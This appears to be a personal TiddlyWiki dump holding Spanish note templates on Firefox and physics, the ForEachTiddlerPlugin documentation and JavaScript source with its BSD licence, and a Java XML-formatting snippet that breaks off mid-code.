|Source:|http://mptw.tiddlyspot.com/#ExtendTagButtonPlugin|
|Author:|Simon Baird <simon.baird@gmail.com>|
|License|http://mptw.tiddlyspot.com/#TheBSDLicense|
***/
//{{{
window.onClickTag_mptw_orig = window.onClickTag;
window.onClickTag = function(e) {
window.onClickTag_mptw_orig.apply(this,arguments);
var tag = this.getAttribute("tag");
var title = this.getAttribute("tiddler");
// Thanks Saq, you're a genius :)
var popup = Popup.stack[Popup.stack.length-1].popup;
createTiddlyElement(createTiddlyElement(popup,"li",null,"listBreak"),"div");
wikify("<<newTiddler label:'New tiddler' tag:'"+tag+"'>>",createTiddlyElement(popup,"li"));
return false;
}
//}}}
!Descripción
Apuntes sobre el navegador web Firefox
!Apuntes rápidos
* Plugins:
** https://addons.mozilla.org/es-ES/
** http://www.webdesignbooth.com/35-absolutely-useful-firefox-plugins-for-web-designers-and-developers/
!Enlaces interesantes
*
!Temas
<<newChild
title:"<nuevo_tema>"
label:"Nuevo tema"
prompt:"Crea un nuevo tema"
tag:[[tema]]
tag:[[incompleto]]
excludeTag:[[categoria]]
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("tema")'>>
!Subcategorías
<<newChild
title:"<nueva_subcategoria>"
label:"Nueva subcategoría"
prompt:"Crea una nueva subcategoría"
tag:[[categoria]]
text:{{store.getTiddlerText("<plantilla_categoria>")}}
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("categoria")'>>
!Descripción
Apuntes sobre física
!Apuntes rápidos
*
!Enlaces interesantes
* Reactor de fusión casero: http://www.cientificosaficionados.com/tbo/fusor/fusor.htm
!Temas
<<newChild
title:"<nuevo_tema>"
label:"Nuevo tema"
prompt:"Crea un nuevo tema"
tag:[[tema]]
tag:[[incompleto]]
excludeTag:[[categoria]]
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("tema")'>>
!Subcategorías
<<newChild
title:"<nueva_subcategoria>"
label:"Nueva subcategoría"
prompt:"Crea una nueva subcategoría"
tag:[[categoria]]
text:{{store.getTiddlerText("<plantilla_categoria>")}}
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("categoria")'>>
//~~(Part of the [[ForEachTiddlerPlugin]])~~//
Create customizable lists, tables etc. for your selections of tiddlers. Specify the tiddlers to include and their order through a powerful language.
''Syntax:''
|>|{{{<<}}}''forEachTiddler'' [''in'' //tiddlyWikiPath//] [''where'' //whereCondition//] [''sortBy'' //sortExpression// [''ascending'' //or// ''descending'']] [''script'' //scriptText//] [//action// [//actionParameters//]]{{{>>}}}|
|//tiddlyWikiPath//|The filepath to the TiddlyWiki the macro should work on. When missing the current TiddlyWiki is used.|
|//whereCondition//|(quoted) JavaScript boolean expression. May refer to the build-in variables {{{tiddler}}} and {{{context}}}.|
|//sortExpression//|(quoted) JavaScript expression returning "comparable" objects (using '{{{<}}}','{{{>}}}','{{{==}}}'. May refer to the build-in variables {{{tiddler}}} and {{{context}}}.|
|//scriptText//|(quoted) JavaScript text. Typically defines JavaScript functions that are called by the various JavaScript expressions (whereClause, sortClause, action arguments,...)|
|//action//|The action that should be performed on every selected tiddler, in the given order. By default the actions [[addToList|AddToListAction]] and [[write|WriteAction]] are supported. When no action is specified [[addToList|AddToListAction]] is used.|
|//actionParameters//|(action specific) parameters the action may refer while processing the tiddlers (see action descriptions for details). <<tiddler [[JavaScript in actionParameters]]>>|
|>|~~Syntax formatting: Keywords in ''bold'', optional parts in [...]. 'or' means that exactly one of the two alternatives must exist.~~|
''Using JavaScript''
To give you a lot of flexibility the [[ForEachTiddlerMacro]] uses JavaScript in its arguments. Even if you are not that familiar with JavaScript you may find forEachTiddler useful. Just have a look at the various ready-to-use [[ForEachTiddlerExamples]] and adapt them to your needs.
''The Elements of the Macro''
The arguments of the ForEachTiddlerMacro consist of multiple parts, each of them being optional.
<<slider chkFETInClause [[inClause]] "inClause" "inClause">>
<<slider chkFETWhereClause [[whereClause]] "whereClause" "whereClause">>
<<slider chkFETSortClause [[sortClause]] "sortClause" "sortClause">>
<<slider chkFETScriptClause [[scriptClause]] "scriptClause" "scriptClause">>
<<slider chkFETActions [[Action Specification]] "Action Specification" "Action Specification">>
''Using Macros and ">" inside the forEachTiddler Macro''
You may use other macro calls into the expression, especially in the actionParameters. To avoid that the {{{>>}}} of such a macro call is misinterpreted as the end of the {{{<<forEachTiddler...>>}}} macro you must escape the {{{>>}}} of the inner macro with {{{$))}}} E.g. if you want to use {{{<<tiddler ...>>}}} inside the {{{forEachTiddler}}} macro you have to write {{{<<tiddler ...$))}}}.
In addition it is necessary to escape single {{{>}}} with the text {{{$)}}}.
''Using {{{<<tiddler ... with: ...>>}}} to re-use ForEachTiddler definitions''
Sometimes you may want to use a certain ForEachTiddler definition in slight variations. E.g. you may want to list either the tiddlers tagged with "ToDo" and in the other case with "Done". To do so you may use "Tiddler parameters". Here an example:
Replace the variable part of the ForEachTiddler definition with $1 ($2,... $9 are supported). E.g. you may create the tiddler "ListTaggedTiddlers" like this
{{{
<<forEachTiddler
where
'tiddler.tags.contains("$1")'
>>
}}}
Now you can use the ListTaggedTiddlers for various specific tags, using the {{{<<tiddler ...>>}}} macro:
{{{
<<tiddler ListTaggedTiddlers with: "systemConfig">>
}}}
{{{
<<tiddler ListTaggedTiddlers with: "Plugin">>
}}}
See also [[ForEachTiddlerExamples]].
/***
|''Name:''|ForEachTiddlerPlugin|
|''Version:''|1.0.8 (2007-04-12)|
|''Source:''|http://tiddlywiki.abego-software.de/#ForEachTiddlerPlugin|
|''Author:''|UdoBorkowski (ub [at] abego-software [dot] de)|
|''Licence:''|[[BSD open source license (abego Software)|http://www.abego-software.de/legal/apl-v10.html]]|
|''Copyright:''|© 2005-2007 [[abego Software|http://www.abego-software.de]]|
|''TiddlyWiki:''|1.2.38+, 2.0|
|''Browser:''|Firefox 1.0.4+; Firefox 1.5; InternetExplorer 6.0|
!Description
Create customizable lists, tables etc. for your selections of tiddlers. Specify the tiddlers to include and their order through a powerful language.
''Syntax:''
|>|{{{<<}}}''forEachTiddler'' [''in'' //tiddlyWikiPath//] [''where'' //whereCondition//] [''sortBy'' //sortExpression// [''ascending'' //or// ''descending'']] [''script'' //scriptText//] [//action// [//actionParameters//]]{{{>>}}}|
|//tiddlyWikiPath//|The filepath to the TiddlyWiki the macro should work on. When missing the current TiddlyWiki is used.|
|//whereCondition//|(quoted) JavaScript boolean expression. May refer to the build-in variables {{{tiddler}}} and {{{context}}}.|
|//sortExpression//|(quoted) JavaScript expression returning "comparable" objects (using '{{{<}}}','{{{>}}}','{{{==}}}'. May refer to the build-in variables {{{tiddler}}} and {{{context}}}.|
|//scriptText//|(quoted) JavaScript text. Typically defines JavaScript functions that are called by the various JavaScript expressions (whereClause, sortClause, action arguments,...)|
|//action//|The action that should be performed on every selected tiddler, in the given order. By default the actions [[addToList|AddToListAction]] and [[write|WriteAction]] are supported. When no action is specified [[addToList|AddToListAction]] is used.|
|//actionParameters//|(action specific) parameters the action may refer while processing the tiddlers (see action descriptions for details). <<tiddler [[JavaScript in actionParameters]]>>|
|>|~~Syntax formatting: Keywords in ''bold'', optional parts in [...]. 'or' means that exactly one of the two alternatives must exist.~~|
See details see [[ForEachTiddlerMacro]] and [[ForEachTiddlerExamples]].
!Revision history
* v1.0.8 (2007-04-12)
** Adapted to latest TiddlyWiki 2.2 Beta importTiddlyWiki API (introduced with changeset 2004). TiddlyWiki 2.2 Beta builds prior to changeset 2004 are no longer supported (but TiddlyWiki 2.1 and earlier, of cause)
* v1.0.7 (2007-03-28)
** Also support "pre" formatted TiddlyWikis (introduced with TW 2.2) (when using "in" clause to work on external tiddlers)
* v1.0.6 (2006-09-16)
** Context provides "viewerTiddler", i.e. the tiddler used to view the macro. Most times this is equal to the "inTiddler", but when using the "tiddler" macro both may be different.
** Support "begin", "end" and "none" expressions in "write" action
* v1.0.5 (2006-02-05)
** Pass tiddler containing the macro with wikify, context object also holds reference to tiddler containing the macro ("inTiddler"). Thanks to SimonBaird.
** Support Firefox 1.5.0.1
** Internal
*** Make "JSLint" conform
*** "Only install once"
* v1.0.4 (2006-01-06)
** Support TiddlyWiki 2.0
* v1.0.3 (2005-12-22)
** Features:
*** Write output to a file supports multi-byte environments (Thanks to Bram Chen)
*** Provide API to access the forEachTiddler functionality directly through JavaScript (see getTiddlers and performMacro)
** Enhancements:
*** Improved error messages on InternetExplorer.
* v1.0.2 (2005-12-10)
** Features:
*** context object also holds reference to store (TiddlyWiki)
** Fixed Bugs:
*** ForEachTiddler 1.0.1 has broken support on win32 Opera 8.51 (Thanks to BrunoSabin for reporting)
* v1.0.1 (2005-12-08)
** Features:
*** Access tiddlers stored in separated TiddlyWikis through the "in" option. I.e. you are no longer limited to only work on the "current TiddlyWiki".
*** Write output to an external file using the "toFile" option of the "write" action. With this option you may write your customized tiddler exports.
*** Use the "script" section to define "helper" JavaScript functions etc. to be used in the various JavaScript expressions (whereClause, sortClause, action arguments,...).
*** Access and store context information for the current forEachTiddler invocation (through the build-in "context" object) .
*** Improved script evaluation (for where/sort clause and write scripts).
* v1.0.0 (2005-11-20)
** initial version
!Code
***/
//{{{
//============================================================================
//============================================================================
// ForEachTiddlerPlugin
//============================================================================
//============================================================================
// Only install once
if (!version.extensions.ForEachTiddlerPlugin) {
if (!window.abego) window.abego = {};
version.extensions.ForEachTiddlerPlugin = {
major: 1, minor: 0, revision: 8,
date: new Date(2007,3,12),
source: "http://tiddlywiki.abego-software.de/#ForEachTiddlerPlugin",
licence: "[[BSD open source license (abego Software)|http://www.abego-software.de/legal/apl-v10.html]]",
copyright: "Copyright (c) abego Software GmbH, 2005-2007 (www.abego-software.de)"
};
// For backward compatibility with TW 1.2.x
//
if (!TiddlyWiki.prototype.forEachTiddler) {
TiddlyWiki.prototype.forEachTiddler = function(callback) {
for(var t in this.tiddlers) {
callback.call(this,t,this.tiddlers[t]);
}
};
}
//============================================================================
// forEachTiddler Macro
//============================================================================
version.extensions.forEachTiddler = {
major: 1, minor: 0, revision: 8, date: new Date(2007,3,12), provider: "http://tiddlywiki.abego-software.de"};
// ---------------------------------------------------------------------------
// Configurations and constants
// ---------------------------------------------------------------------------
config.macros.forEachTiddler = {
// Standard Properties
label: "forEachTiddler",
prompt: "Perform actions on a (sorted) selection of tiddlers",
// actions
actions: {
addToList: {},
write: {}
}
};
// ---------------------------------------------------------------------------
// The forEachTiddler Macro Handler
// ---------------------------------------------------------------------------
config.macros.forEachTiddler.getContainingTiddler = function(e) {
while(e && !hasClass(e,"tiddler"))
e = e.parentNode;
var title = e ? e.getAttribute("tiddler") : null;
return title ? store.getTiddler(title) : null;
};
config.macros.forEachTiddler.handler = function(place,macroName,params,wikifier,paramString,tiddler) {
// config.macros.forEachTiddler.traceMacroCall(place,macroName,params,wikifier,paramString,tiddler);
if (!tiddler) tiddler = config.macros.forEachTiddler.getContainingTiddler(place);
// --- Parsing ------------------------------------------
var i = 0; // index running over the params
// Parse the "in" clause
var tiddlyWikiPath = undefined;
if ((i < params.length) && params[i] == "in") {
i++;
if (i >= params.length) {
this.handleError(place, "TiddlyWiki path expected behind 'in'.");
return;
}
tiddlyWikiPath = this.paramEncode((i < params.length) ? params[i] : "");
i++;
}
// Parse the where clause
var whereClause ="true";
if ((i < params.length) && params[i] == "where") {
i++;
whereClause = this.paramEncode((i < params.length) ? params[i] : "");
i++;
}
// Parse the sort stuff
var sortClause = null;
var sortAscending = true;
if ((i < params.length) && params[i] == "sortBy") {
i++;
if (i >= params.length) {
this.handleError(place, "sortClause missing behind 'sortBy'.");
return;
}
sortClause = this.paramEncode(params[i]);
i++;
if ((i < params.length) && (params[i] == "ascending" || params[i] == "descending")) {
sortAscending = params[i] == "ascending";
i++;
}
}
// Parse the script
var scriptText = null;
if ((i < params.length) && params[i] == "script") {
i++;
scriptText = this.paramEncode((i < params.length) ? params[i] : "");
i++;
}
// Parse the action.
// When we are already at the end use the default action
var actionName = "addToList";
if (i < params.length) {
if (!config.macros.forEachTiddler.actions[params[i]]) {
this.handleError(place, "Unknown action '"+params[i]+"'.");
return;
} else {
actionName = params[i];
i++;
}
}
// Get the action parameter
// (the parsing is done inside the individual action implementation.)
var actionParameter = params.slice(i);
// --- Processing ------------------------------------------
try {
this.performMacro({
place: place,
inTiddler: tiddler,
whereClause: whereClause,
sortClause: sortClause,
sortAscending: sortAscending,
actionName: actionName,
actionParameter: actionParameter,
scriptText: scriptText,
tiddlyWikiPath: tiddlyWikiPath});
} catch (e) {
this.handleError(place, e);
}
};
// Returns an object with properties "tiddlers" and "context".
// tiddlers holds the (sorted) tiddlers selected by the parameter,
// context the context of the execution of the macro.
//
// The action is not yet performed.
//
// @parameter see performMacro
//
config.macros.forEachTiddler.getTiddlersAndContext = function(parameter) {
var context = config.macros.forEachTiddler.createContext(parameter.place, parameter.whereClause, parameter.sortClause, parameter.sortAscending, parameter.actionName, parameter.actionParameter, parameter.scriptText, parameter.tiddlyWikiPath, parameter.inTiddler);
var tiddlyWiki = parameter.tiddlyWikiPath ? this.loadTiddlyWiki(parameter.tiddlyWikiPath) : store;
context["tiddlyWiki"] = tiddlyWiki;
// Get the tiddlers, as defined by the whereClause
var tiddlers = this.findTiddlers(parameter.whereClause, context, tiddlyWiki);
context["tiddlers"] = tiddlers;
// Sort the tiddlers, when sorting is required.
if (parameter.sortClause) {
this.sortTiddlers(tiddlers, parameter.sortClause, parameter.sortAscending, context);
}
return {tiddlers: tiddlers, context: context};
};
// Returns the (sorted) tiddlers selected by the parameter.
//
// The action is not yet performed.
//
// @parameter see performMacro
//
config.macros.forEachTiddler.getTiddlers = function(parameter) {
return this.getTiddlersAndContext(parameter).tiddlers;
};
// Performs the macros with the given parameter.
//
// @param parameter holds the parameter of the macro as separate properties.
// The following properties are supported:
//
// place
// whereClause
// sortClause
// sortAscending
// actionName
// actionParameter
// scriptText
// tiddlyWikiPath
//
// All properties are optional.
// For most actions the place property must be defined.
//
config.macros.forEachTiddler.performMacro = function(parameter) {
var tiddlersAndContext = this.getTiddlersAndContext(parameter);
// Perform the action
var actionName = parameter.actionName ? parameter.actionName : "addToList";
var action = config.macros.forEachTiddler.actions[actionName];
if (!action) {
this.handleError(parameter.place, "Unknown action '"+actionName+"'.");
return;
}
var actionHandler = action.handler;
actionHandler(parameter.place, tiddlersAndContext.tiddlers, parameter.actionParameter, tiddlersAndContext.context);
};
// ---------------------------------------------------------------------------
// The actions
// ---------------------------------------------------------------------------
// Internal.
//
// --- The addToList Action -----------------------------------------------
//
config.macros.forEachTiddler.actions.addToList.handler = function(place, tiddlers, parameter, context) {
// Parse the parameter
var p = 0;
// Check for extra parameters
if (parameter.length > p) {
config.macros.forEachTiddler.createExtraParameterErrorElement(place, "addToList", parameter, p);
return;
}
// Perform the action.
var list = document.createElement("ul");
place.appendChild(list);
for (var i = 0; i < tiddlers.length; i++) {
var tiddler = tiddlers[i];
var listItem = document.createElement("li");
list.appendChild(listItem);
createTiddlyLink(listItem, tiddler.title, true);
}
};
abego.parseNamedParameter = function(name, parameter, i) {
var beginExpression = null;
if ((i < parameter.length) && parameter[i] == name) {
i++;
if (i >= parameter.length) {
throw "Missing text behind '%0'".format([name]);
}
return config.macros.forEachTiddler.paramEncode(parameter[i]);
}
return null;
}
// Internal.
//
// --- The write Action ---------------------------------------------------
//
config.macros.forEachTiddler.actions.write.handler = function(place, tiddlers, parameter, context) {
// Parse the parameter
var p = 0;
if (p >= parameter.length) {
this.handleError(place, "Missing expression behind 'write'.");
return;
}
var textExpression = config.macros.forEachTiddler.paramEncode(parameter[p]);
p++;
// Parse the "begin" option
var beginExpression = abego.parseNamedParameter("begin", parameter, p);
if (beginExpression !== null)
p += 2;
var endExpression = abego.parseNamedParameter("end", parameter, p);
if (endExpression !== null)
p += 2;
var noneExpression = abego.parseNamedParameter("none", parameter, p);
if (noneExpression !== null)
p += 2;
// Parse the "toFile" option
var filename = null;
var lineSeparator = undefined;
if ((p < parameter.length) && parameter[p] == "toFile") {
p++;
if (p >= parameter.length) {
this.handleError(place, "Filename expected behind 'toFile' of 'write' action.");
return;
}
filename = config.macros.forEachTiddler.getLocalPath(config.macros.forEachTiddler.paramEncode(parameter[p]));
p++;
if ((p < parameter.length) && parameter[p] == "withLineSeparator") {
p++;
if (p >= parameter.length) {
this.handleError(place, "Line separator text expected behind 'withLineSeparator' of 'write' action.");
return;
}
lineSeparator = config.macros.forEachTiddler.paramEncode(parameter[p]);
p++;
}
}
// Check for extra parameters
if (parameter.length > p) {
config.macros.forEachTiddler.createExtraParameterErrorElement(place, "write", parameter, p);
return;
}
// Perform the action.
var func = config.macros.forEachTiddler.getEvalTiddlerFunction(textExpression, context);
var count = tiddlers.length;
var text = "";
if (count > 0 && beginExpression)
text += config.macros.forEachTiddler.getEvalTiddlerFunction(beginExpression, context)(undefined, context, count, undefined);
for (var i = 0; i < count; i++) {
var tiddler = tiddlers[i];
text += func(tiddler, context, count, i);
}
if (count > 0 && endExpression)
text += config.macros.forEachTiddler.getEvalTiddlerFunction(endExpression, context)(undefined, context, count, undefined);
if (count == 0 && noneExpression)
text += config.macros.forEachTiddler.getEvalTiddlerFunction(noneExpression, context)(undefined, context, count, undefined);
if (filename) {
if (lineSeparator !== undefined) {
lineSeparator = lineSeparator.replace(/\\n/mg, "\n").replace(/\\r/mg, "\r");
text = text.replace(/\n/mg,lineSeparator);
}
saveFile(filename, convertUnicodeToUTF8(text));
} else {
var wrapper = createTiddlyElement(place, "span");
wikify(text, wrapper, null/* highlightRegExp */, context.inTiddler);
}
};
// ---------------------------------------------------------------------------
// Helpers
// ---------------------------------------------------------------------------
// Internal.
//
config.macros.forEachTiddler.createContext = function(placeParam, whereClauseParam, sortClauseParam, sortAscendingParam, actionNameParam, actionParameterParam, scriptText, tiddlyWikiPathParam, inTiddlerParam) {
return {
place : placeParam,
whereClause : whereClauseParam,
sortClause : sortClauseParam,
sortAscending : sortAscendingParam,
script : scriptText,
actionName : actionNameParam,
actionParameter : actionParameterParam,
tiddlyWikiPath : tiddlyWikiPathParam,
inTiddler : inTiddlerParam, // the tiddler containing the <<forEachTiddler ...>> macro call.
viewerTiddler : config.macros.forEachTiddler.getContainingTiddler(placeParam) // the tiddler showing the forEachTiddler result
};
};
// Internal.
//
// Returns a TiddlyWiki with the tiddlers loaded from the TiddlyWiki of
// the given path.
//
config.macros.forEachTiddler.loadTiddlyWiki = function(path, idPrefix) {
if (!idPrefix) {
idPrefix = "store";
}
var lenPrefix = idPrefix.length;
// Read the content of the given file
var content = loadFile(this.getLocalPath(path));
if(content === null) {
throw "TiddlyWiki '"+path+"' not found.";
}
var tiddlyWiki = new TiddlyWiki();
// Starting with TW 2.2 there is a helper function to import the tiddlers
if (tiddlyWiki.importTiddlyWiki) {
if (!tiddlyWiki.importTiddlyWiki(content))
throw "File '"+path+"' is not a TiddlyWiki.";
tiddlyWiki.dirty = false;
return tiddlyWiki;
}
// The legacy code, for TW < 2.2
// Locate the storeArea div's
var posOpeningDiv = content.indexOf(startSaveArea);
var posClosingDiv = content.lastIndexOf(endSaveArea);
if((posOpeningDiv == -1) || (posClosingDiv == -1)) {
throw "File '"+path+"' is not a TiddlyWiki.";
}
var storageText = content.substr(posOpeningDiv + startSaveArea.length, posClosingDiv);
// Create a "div" element that contains the storage text
var myStorageDiv = document.createElement("div");
myStorageDiv.innerHTML = storageText;
myStorageDiv.normalize();
// Create all tiddlers in a new TiddlyWiki
// (following code is modified copy of TiddlyWiki.prototype.loadFromDiv)
var store = myStorageDiv.childNodes;
for(var t = 0; t < store.length; t++) {
var e = store[t];
var title = null;
if(e.getAttribute)
title = e.getAttribute("tiddler");
if(!title && e.id && e.id.substr(0,lenPrefix) == idPrefix)
title = e.id.substr(lenPrefix);
if(title && title !== "") {
var tiddler = tiddlyWiki.createTiddler(title);
tiddler.loadFromDiv(e,title);
}
}
tiddlyWiki.dirty = false;
return tiddlyWiki;
};
// Internal.
//
// Returns a function that has a function body returning the given javaScriptExpression.
// The function has the parameters:
//
// (tiddler, context, count, index)
//
config.macros.forEachTiddler.getEvalTiddlerFunction = function (javaScriptExpression, context) {
var script = context["script"];
var functionText = "var theFunction = function(tiddler, context, count, index) { return "+javaScriptExpression+"}";
var fullText = (script ? script+";" : "")+functionText+";theFunction;";
return eval(fullText);
};
// Internal.
//
config.macros.forEachTiddler.findTiddlers = function(whereClause, context, tiddlyWiki) {
var result = [];
var func = config.macros.forEachTiddler.getEvalTiddlerFunction(whereClause, context);
tiddlyWiki.forEachTiddler(function(title,tiddler) {
if (func(tiddler, context, undefined, undefined)) {
result.push(tiddler);
}
});
return result;
};
// Internal.
//
config.macros.forEachTiddler.createExtraParameterErrorElement = function(place, actionName, parameter, firstUnusedIndex) {
var message = "Extra parameter behind '"+actionName+"':";
for (var i = firstUnusedIndex; i < parameter.length; i++) {
message += " "+parameter[i];
}
this.handleError(place, message);
};
// Internal.
//
config.macros.forEachTiddler.sortAscending = function(tiddlerA, tiddlerB) {
var result =
(tiddlerA.forEachTiddlerSortValue == tiddlerB.forEachTiddlerSortValue)
? 0
: (tiddlerA.forEachTiddlerSortValue < tiddlerB.forEachTiddlerSortValue)
? -1
: +1;
return result;
};
// Internal.
//
config.macros.forEachTiddler.sortDescending = function(tiddlerA, tiddlerB) {
var result =
(tiddlerA.forEachTiddlerSortValue == tiddlerB.forEachTiddlerSortValue)
? 0
: (tiddlerA.forEachTiddlerSortValue < tiddlerB.forEachTiddlerSortValue)
? +1
: -1;
return result;
};
// Internal.
//
config.macros.forEachTiddler.sortTiddlers = function(tiddlers, sortClause, ascending, context) {
// To avoid evaluating the sortClause whenever two items are compared
// we pre-calculate the sortValue for every item in the array and store it in a
// temporary property ("forEachTiddlerSortValue") of the tiddlers.
var func = config.macros.forEachTiddler.getEvalTiddlerFunction(sortClause, context);
var count = tiddlers.length;
var i;
for (i = 0; i < count; i++) {
var tiddler = tiddlers[i];
tiddler.forEachTiddlerSortValue = func(tiddler,context, undefined, undefined);
}
// Do the sorting
tiddlers.sort(ascending ? this.sortAscending : this.sortDescending);
// Delete the temporary property that holds the sortValue.
for (i = 0; i < tiddlers.length; i++) {
delete tiddlers[i].forEachTiddlerSortValue;
}
};
// Internal.
//
config.macros.forEachTiddler.trace = function(message) {
displayMessage(message);
};
// Internal.
//
config.macros.forEachTiddler.traceMacroCall = function(place,macroName,params) {
var message ="<<"+macroName;
for (var i = 0; i < params.length; i++) {
message += " "+params[i];
}
message += ">>";
displayMessage(message);
};
// Internal.
//
// Creates an element that holds an error message
//
config.macros.forEachTiddler.createErrorElement = function(place, exception) {
var message = (exception.description) ? exception.description : exception.toString();
return createTiddlyElement(place,"span",null,"forEachTiddlerError","<<forEachTiddler ...>>: "+message);
};
// Internal.
//
// @param place [may be null]
//
config.macros.forEachTiddler.handleError = function(place, exception) {
if (place) {
this.createErrorElement(place, exception);
} else {
throw exception;
}
};
// Internal.
//
// Encodes the given string.
//
// Replaces
// "$))" to ">>"
// "$)" to ">"
//
config.macros.forEachTiddler.paramEncode = function(s) {
var reGTGT = new RegExp("\\$\\)\\)","mg");
var reGT = new RegExp("\\$\\)","mg");
return s.replace(reGTGT, ">>").replace(reGT, ">");
};
// Internal.
//
// Returns the given original path (that is a file path, starting with "file:")
// as a path to a local file, in the systems native file format.
//
// Location information in the originalPath (i.e. the "#" and stuff following)
// is stripped.
//
config.macros.forEachTiddler.getLocalPath = function(originalPath) {
// Remove any location part of the URL
var hashPos = originalPath.indexOf("#");
if(hashPos != -1)
originalPath = originalPath.substr(0,hashPos);
// Convert to a native file format assuming
// "file:///x:/path/path/path..." - pc local file --> "x:\path\path\path..."
// "file://///server/share/path/path/path..." - FireFox pc network file --> "\\server\share\path\path\path..."
// "file:///path/path/path..." - mac/unix local file --> "/path/path/path..."
// "file://server/share/path/path/path..." - pc network file --> "\\server\share\path\path\path..."
var localPath;
if(originalPath.charAt(9) == ":") // pc local file
localPath = unescape(originalPath.substr(8)).replace(new RegExp("/","g"),"\\");
else if(originalPath.indexOf("file://///") === 0) // FireFox pc network file
localPath = "\\\\" + unescape(originalPath.substr(10)).replace(new RegExp("/","g"),"\\");
else if(originalPath.indexOf("file:///") === 0) // mac/unix local file
localPath = unescape(originalPath.substr(7));
else if(originalPath.indexOf("file:/") === 0) // mac/unix local file
localPath = unescape(originalPath.substr(5));
else // pc network file
localPath = "\\\\" + unescape(originalPath.substr(7)).replace(new RegExp("/","g"),"\\");
return localPath;
};
// ---------------------------------------------------------------------------
// Stylesheet Extensions (may be overridden by local StyleSheet)
// ---------------------------------------------------------------------------
//
setStylesheet(
".forEachTiddlerError{color: #ffffff;background-color: #880000;}",
"forEachTiddler");
//============================================================================
// End of forEachTiddler Macro
//============================================================================
//============================================================================
// String.startsWith Function
//============================================================================
//
// Returns true if the string starts with the given prefix, false otherwise.
//
version.extensions["String.startsWith"] = {major: 1, minor: 0, revision: 0, date: new Date(2005,11,20), provider: "http://tiddlywiki.abego-software.de"};
//
String.prototype.startsWith = function(prefix) {
var n = prefix.length;
return (this.length >= n) && (this.slice(0, n) == prefix);
};
//============================================================================
// String.endsWith Function
//============================================================================
//
// Returns true if the string ends with the given suffix, false otherwise.
//
version.extensions["String.endsWith"] = {major: 1, minor: 0, revision: 0, date: new Date(2005,11,20), provider: "http://tiddlywiki.abego-software.de"};
//
String.prototype.endsWith = function(suffix) {
var n = suffix.length;
return (this.length >= n) && (this.right(n) == suffix);
};
//============================================================================
// String.contains Function
//============================================================================
//
// Returns true when the string contains the given substring, false otherwise.
//
version.extensions["String.contains"] = {major: 1, minor: 0, revision: 0, date: new Date(2005,11,20), provider: "http://tiddlywiki.abego-software.de"};
//
String.prototype.contains = function(substring) {
return this.indexOf(substring) >= 0;
};
//============================================================================
// Array.indexOf Function
//============================================================================
//
// Returns the index of the first occurance of the given item in the array or
// -1 when no such item exists.
//
// @param item [may be null]
//
version.extensions["Array.indexOf"] = {major: 1, minor: 0, revision: 0, date: new Date(2005,11,20), provider: "http://tiddlywiki.abego-software.de"};
//
Array.prototype.indexOf = function(item) {
for (var i = 0; i < this.length; i++) {
if (this[i] == item) {
return i;
}
}
return -1;
};
//============================================================================
// Array.contains Function
//============================================================================
//
// Returns true when the array contains the given item, otherwise false.
//
// @param item [may be null]
//
version.extensions["Array.contains"] = {major: 1, minor: 0, revision: 0, date: new Date(2005,11,20), provider: "http://tiddlywiki.abego-software.de"};
//
Array.prototype.contains = function(item) {
return (this.indexOf(item) >= 0);
};
//============================================================================
// Array.containsAny Function
//============================================================================
//
// Returns true when the array contains at least one of the elements
// of the item. Otherwise (or when items contains no elements) false is returned.
//
version.extensions["Array.containsAny"] = {major: 1, minor: 0, revision: 0, date: new Date(2005,11,20), provider: "http://tiddlywiki.abego-software.de"};
//
Array.prototype.containsAny = function(items) {
for(var i = 0; i < items.length; i++) {
if (this.contains(items[i])) {
return true;
}
}
return false;
};
//============================================================================
// Array.containsAll Function
//============================================================================
//
// Returns true when the array contains all the items, otherwise false.
//
// When items is null false is returned (even if the array contains a null).
//
// @param items [may be null]
//
version.extensions["Array.containsAll"] = {major: 1, minor: 0, revision: 0, date: new Date(2005,11,20), provider: "http://tiddlywiki.abego-software.de"};
//
Array.prototype.containsAll = function(items) {
for(var i = 0; i < items.length; i++) {
if (!this.contains(items[i])) {
return false;
}
}
return true;
};
} // of "install only once"
// Used Globals (for JSLint) ==============
// ... DOM
/*global document */
// ... TiddlyWiki Core
/*global convertUnicodeToUTF8, createTiddlyElement, createTiddlyLink,
displayMessage, endSaveArea, hasClass, loadFile, saveFile,
startSaveArea, store, wikify */
//}}}
/***
!Licence and Copyright
Copyright (c) abego Software ~GmbH, 2005 ([[www.abego-software.de|http://www.abego-software.de]])
Redistribution and use in source and binary forms, with or without modification,
are permitted provided that the following conditions are met:
Redistributions of source code must retain the above copyright notice, this
list of conditions and the following disclaimer.
Redistributions in binary form must reproduce the above copyright notice, this
list of conditions and the following disclaimer in the documentation and/or other
materials provided with the distribution.
Neither the name of abego Software nor the names of its contributors may be
used to endorse or promote products derived from this software without specific
prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY
EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT
SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED
TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR
BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH
DAMAGE.
***/
!Introducción
El siguiente método coge una cadena de texto con un XML, construye un documento XML, y lo vuelve a convertir a String usando un formato legible.
!Código
{{{
import java.io.*;
import javax.xml.parsers.*;
import javax.xml.transform.*;
import javax.xml.transform.dom.DOMSource;
import javax.xml.transform.stream.StreamResult;
import org.w3c.dom.Document;
import org.xml.sax.*;
public class Util{
public static void main(String args[]) {
String xml = "<root><element1>123</element1><element2 property=\"value\"><element2.1>Content</element2.1></element2></root>";
System.out.println(formatXml(xml));
